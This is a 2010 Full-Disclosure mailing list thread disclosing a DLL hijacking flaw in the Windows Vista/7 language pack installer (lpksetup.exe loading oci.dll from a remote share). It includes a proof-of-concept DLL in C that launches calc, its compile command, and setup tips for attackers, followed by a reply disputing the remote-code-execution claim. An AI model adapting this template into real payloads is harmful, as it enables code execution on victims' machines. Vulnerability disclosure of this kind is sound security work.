full-disclosure - Re: Windows Vista/7 lpksetup dll hijack

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Message-ID: <58DB1B68E62B9F448DF1A276B0886DF16EB38E1B@EX2010.hammerofgod.com>
Date: Mon, 25 Oct 2010 21:34:48 +0000
From: "Thor (Hammer of God)" <thor@...merofgod.com>
To: Tyler Borland <tborland1@...il.com>, Full-Disclosure mailing list
	<full-disclosure@...ts.grok.org.uk>
Cc: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: Re: Windows Vista/7 lpksetup dll hijack

If you are considering this "Remote Code Execution" then why not just have the victim run an .exe from the "complete anonymous share" you've managed to get people connected to and save all the trouble?   This would still run as the user context, and if the hijacked DLL tried to do something a normal user couldn't do then it too would be blocked or fail anyway.

t

From: full-disclosure-bounces@...ts.grok.org.uk [mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of Tyler Borland
Sent: Monday, October 25, 2010 1:55 PM
To: Full-Disclosure mailing list
Cc: bugtraq@...urityfocus.com
Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack

/*
Exploit:       Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking Vulnerability
Extension:  .mlc
Author:       Tyler Borland (tborland1@...il.com<mailto:tborland1@...il.com>)
Date:          10/20/2010
Tested on:  Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and Windows 7 Enterprise should be vulnerable as well)
Effect:        Remote Code Execution

lpksetup is the language pack installer that is included by default with Windows Vista/7 Ultimate or Enterprise editions.  By opening a .mlc file through something like an open SMB or WebDav share, the oci.dll file will be grabbed and ran in the context of the vulnerable application.

This is a LoadLibrary() load path bug.  The load library search order is:
   1. The directory from which the application loaded
   2. 32-bit System directory (Windows\System32)
   3. 16-bit System directory (Windows\System)
   4. Windows directory (Windows)
   5. Current working directory
   6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci.dll does not exist, so if a full path is not supplied when calling the dll or the search path has not been cleared before the call, we will hit our fifth search path and load the library from the remote filesystem.

Interestingly enough, while lpksetup is blocked for execution by UAC under a normal user, the injected library (payload) will still execute.
Exploiters make sure your system's security policy, secpol.msc, allows complete anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:  http://www.binaryplanting.com/attackVectors.htm
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);  // the typical non-lethal PoC
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}

/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */

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